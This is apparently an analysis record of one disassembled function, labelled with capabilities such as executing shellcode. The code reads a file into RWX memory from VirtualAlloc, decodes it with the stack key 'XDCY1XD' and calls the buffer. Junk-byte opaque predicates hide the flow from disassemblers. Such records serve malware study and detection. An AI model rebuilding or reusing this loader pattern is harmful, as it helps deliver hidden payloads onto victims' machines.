Function at 0x1416e9f40
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get file size
Read file on windows

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x78
mov dword [rsp + 0x44], 0
xor eax, eax
test eax, eax
je 0x1416ea168
nop
nop
nop
nop
nop
or eax, 0xf03e3
add byte [rax], al
add byte [rax], al
add byte [rax + 0x3e2060f], al
sldt word [rax]
rol byte [rdx], 1
add eax, dword [rdx]
add byte [rax], al
out dx, al
add al, byte [rbx]
add al, byte [rax]
add byte [rax], ch
or byte [rdx + 0xf], ch
or al, 0x13
or dword [rsp + rdi], eax
invalid
xor eax, eax
test eax, eax
je 0x1416ea37f
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
add byte [rax], al
add byte [rax], al
add byte [rax], al
loopne 0x1416ea197
add al, 0x52
add byte [rax], al
mov eax, 0xe52070f
dec byte [rdi]
invalid
dec byte [rdi]
invalid
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x58], 0xffffffffffffffff
jne 0x1416ea3c8
xor eax, eax
jmp 0x1416eb9f7
xor eax, eax
test eax, eax
je 0x1416ea5df
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jo 0x1416ea3e8
add eax, 0x53
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rdi + 0xd], al
invalid
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
or eax, 0xe0fab06
dec byte [rdi]
invalid
xor edx, edx
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x40], eax
cmp dword [rsp + 0x40], 0xffffffff
jne 0x1416ea609
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x1416eb9f7
xor eax, eax
test eax, eax
je 0x1416ea820
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
invalid
mov eax, dword [rsp + 0x40]
mov r9d, 0x40
mov r8d, 0x1000
mov edx, eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x60], rax
cmp qword [rsp + 0x60], 0
jne 0x1416ea859
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x1416eb9f7
xor eax, eax
test eax, eax
je 0x1416eaa70
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
invalid
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x48]
mov r8d, dword [rsp + 0x40]
mov rdx, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x1416eaabc
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x1416eb9f7
xor eax, eax
test eax, eax
je 0x1416eacd3
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
femms
dec dword [rdi]
ud0
mov eax, dword [rsp + 0x40]
cmp dword [rsp + 0x48], eax
je 0x1416ead02
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x1416eb9f7
xor eax, eax
test eax, eax
je 0x1416eaf19
nop
nop
nop
nop
add cl, byte [rdi]
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax + 0xb], cl
add cl, byte [rdi]
add byte [rsi], al
iretd
xor eax, eax
test eax, eax
je 0x1416eb130
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movabs eax, dword [0x207f10a08540f06]
push rsi
invalid
xor eax, eax
test eax, eax
je 0x1416eb347
nop
nop
nop
nop
nop
nop
add eax, 0x20000042
add byte [rcx], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rcx], dl
add ah, dh
invalid
mov byte [rsp + 0x50], 0x58
mov byte [rsp + 0x51], 0x44
mov byte [rsp + 0x52], 0x43
mov byte [rsp + 0x53], 0x59
mov byte [rsp + 0x54], 0x31
mov byte [rsp + 0x55], 0x58
mov byte [rsp + 0x56], 0x44
mov byte [rsp + 0x57], 0
mov eax, dword [rsp + 0x40]
lea r8, [rsp + 0x50]
mov edx, eax
mov rcx, qword [rsp + 0x60]
call fcn.1416e9410
xor eax, eax
test eax, eax
je 0x1416eb59b
nop
nop
invalid
call qword [rsp + 0x60]
xor eax, eax
test eax, eax
je 0x1416eb7b6
nop
nop
nop
nop
nop
nop
nop
add byte [rax], al
mov al, 0
or al, 0x45
add byte [rax], al
rol byte [rax], 0xc
add byte [r8], r8b
rol byte [rax], 1
or byte [rsi + 0xe1e010d], al
or esp, eax
or al, 0xd
invalid
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rsp + 0x44], 1
xor eax, eax
test eax, eax
je 0x1416eb9f3
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
add byte [rdx], cl
mov esi, 0x3c7070f
invalid
mov eax, dword [rsp + 0x44]
add rsp, 0x78
ret